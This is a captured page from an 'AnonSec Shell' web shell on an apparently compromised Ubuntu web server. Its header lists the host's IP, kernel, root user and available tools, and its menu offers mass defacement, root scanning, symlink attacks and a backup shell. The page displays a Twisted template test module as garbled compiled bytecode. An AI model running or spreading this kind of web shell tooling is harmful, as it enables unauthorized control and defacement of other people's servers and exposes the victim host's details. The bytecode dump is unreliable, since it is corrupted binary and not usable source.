AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/web/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/web/test/__pycache__/test_stan.cpython-310.pyc
o

�bT�@sjdZddlZddlmZddlmZddlmZmZm	Z	m
Z
mZde
de
defd	d
�ZGdd�de�Z
dS)
zW
Tests for L{twisted.web._stan} portion of the L{twisted.web.template}
implementation.
�N)�NoReturn)�TestCase)�CDATA�CharRef�Comment�Flattenable�Tag�a�kw�returncOstd�|i|��S)z(
    Produce a new tag for testing.
    �hello)r)r	r
�r
�</usr/lib/python3/dist-packages/twisted/web/test/test_stan.py�protosrc@s�eZdZdZddd�Zddd�Zddd	�Zdd
d�Zddd
�Zddd�Z	ddd�Z
ddd�Zddd�Zddd�Z
ddd�Zddd�ZdS)�TagTestsz
    Tests for L{Tag}.
    rNcCs*tdd�}|�|jd�|�|ji�dS)z�
        Setting an attribute named C{render} will change the C{render} instance
        variable instead of adding an attribute.
        �
myRenderer��renderN)r�assertEqualr�
attributes��self�tagr
r
r�test_renderAttributes
zTagTests.test_renderAttributecCsL|�t��
}tdd�Wd�n1swY|�|jjdd�dS)z�
        Attempting to set an attribute named C{render} to something other than
        a string will raise L{TypeError}.
        �SrNrz0Value for "render" attribute must be str, got 83)�assertRaises�	TypeErrorrr�	exception�args)r�er
r
r�test_renderAttributeNonString&s��z&TagTests.test_renderAttributeNonStringcCst�}|�||jdd��dS)z0
        L{Tag.fillSlots} returns self.
        �test)r!N)r�assertIdentical�	fillSlotsrr
r
r�test_fillSlots1szTagTests.test_fillSlotscCs�dg}td|ddd�}|jdd�d|_d	|_d
|_|jdd�}|�|jd
d�|�|j|j�|�|j	d|g�|�|j	|j	�|�
|j	d|�|�|j|j�|�|j|j�|�|jd�|�|jd	�|�|jd
�|�|jd�dS)z�
        L{Tag.clone} copies all attributes and children of a tag, including its
        render attribute.  If the shallow flag is C{False}, that's where it
        stops.
        �
inner list�How are you�world�
aSampleMethod�rr�bar��foo�foo/bar��F)�deepr�N�
rr#�filename�
lineNumber�columnNumber�clonerr�assertNotIdentical�childrenr"�slotDatar)r�	innerListrr6r
r
r�test_cloneShallow8s$zTagTests.test_cloneShallowcCstd�}dg}td||ddd�}|jdd�d	|_d
|_d|_|��}|�|jdd�|�|j|j�|�|j	|j	�|�
|j	d
|�|�|j	d
|�|�
|j	d|�|�|j	d|�|�|j|j�|�|j|j�|�|jd	�|�|jd
�|�|jd�|�|jd�dS)z�
        L{Tag.clone} copies all attributes and children of a tag, including its
        render attribute.  In its normal operating mode (where the deep flag is
        C{True}, as is the default), it will clone all sub-lists and sub-tags.
        �innerr%r&r'r(r)r*r+r-r.r/rr1�Nr2)r�innerTagr:rr6r
r
r�test_cloneDeepQs.
�zTagTests.test_cloneDeepcCs6tdd�td�D��}|�tdtjtjj|j	�dS)z�
        Cloning a tag containing a generator is unsafe. To avoid breaking
        programs that only flatten the clone or only flatten the original,
        we deprecate old behavior rather than making it an error immediately.
        css�|]}t|�VqdS�N)�str)�.0�nr
r
r�	<genexpr>ys�z:TagTests.test_cloneGeneratorDeprecation.<locals>.<genexpr>�
z�Cloning a Tag which contains a generator is unsafe, since the generator can be consumed only once; this is deprecated since Twisted 21.7.0 and will raise an exception in the futureN)
r�range�assertWarns�DeprecationWarning�sys�modulesr�
__module__�__file__r6rr
r
r�test_cloneGeneratorDeprecationss�z'TagTests.test_cloneGeneratorDeprecationcCsVdtfdd�}|�}td|d�}z|�tdtjtjj|j	�W|�
�dS|�
�w)z�
        Cloning a tag containing a coroutine is unsafe. To avoid breaking
        programs that only flatten the clone or only flatten the original,
        we deprecate old behavior rather than making it an error immediately.
        rc�s�t�r@)�NotImplementedErrorr
r
r
r�	asyncFunc�s�z:TagTests.test_cloneCoroutineDeprecation.<locals>.asyncFunc�123�789z�Cloning a Tag which contains a coroutine is unsafe, since the coroutine can run only once; this is deprecated since Twisted 21.7.0 and will raise an exception in the futureN)rrrGrHrIrJrrKrLr6�close)rrO�cororr
r
r�test_cloneCoroutineDeprecation�s�
z'TagTests.test_cloneCoroutineDeprecationcCs<tddddd�}|��|�|jg�|�|jddi�dS)zk
        L{Tag.clear} removes all children from a tag, but leaves its attributes
        in place.
        z	these arer8�coolzthis-attribute)�andSoIsrVN)r�clearrr8rrr
r
r�
test_clear�szTagTests.test_clearcCs.td�}|�}|dd�|�|jddi�dS)z�
        L{Tag.__call__} accepts Python keywords with a suffixed underscore as
        the DOM attribute of that literal suffix.
        �divr	)�class_�classN)rrr)rrrr
r
r�test_suffix�s
zTagTests.test_suffixcC�|�ttd��d�dS)zo
        L{Comment.__repr__} returns a value which makes it easy to see what's
        in the comment.
        zhello therezComment('hello there')N)r�reprr�rr
r
r�test_commentReprPy3��zTagTests.test_commentReprPy3cCr])zm
        L{CDATA.__repr__} returns a value which makes it easy to see what's in
        the comment.
        z	test datazCDATA('test data')N)rr^rr_r
r
r�test_cdataReprPy3�razTagTests.test_cdataReprPy3cCs td�}|�tt|��d�dS)zw
        L{CharRef.__repr__} returns a value which makes it easy to see what
        character is referred to.
        u☃z
CharRef(9731)N)�ordrr^r)r�snowmanr
r
r�test_charrefRepr�szTagTests.test_charrefRepr)rN)�__name__rK�__qualname__�__doc__rr r$r;r?rMrTrXr\r`rbrer
r
r
rrs

	



"






r)rhrI�typingr�twisted.trial.unittestr�twisted.web.templaterrrrrrrr
r
r
r�<module>s

Anon7 - 2022
AnonSec Team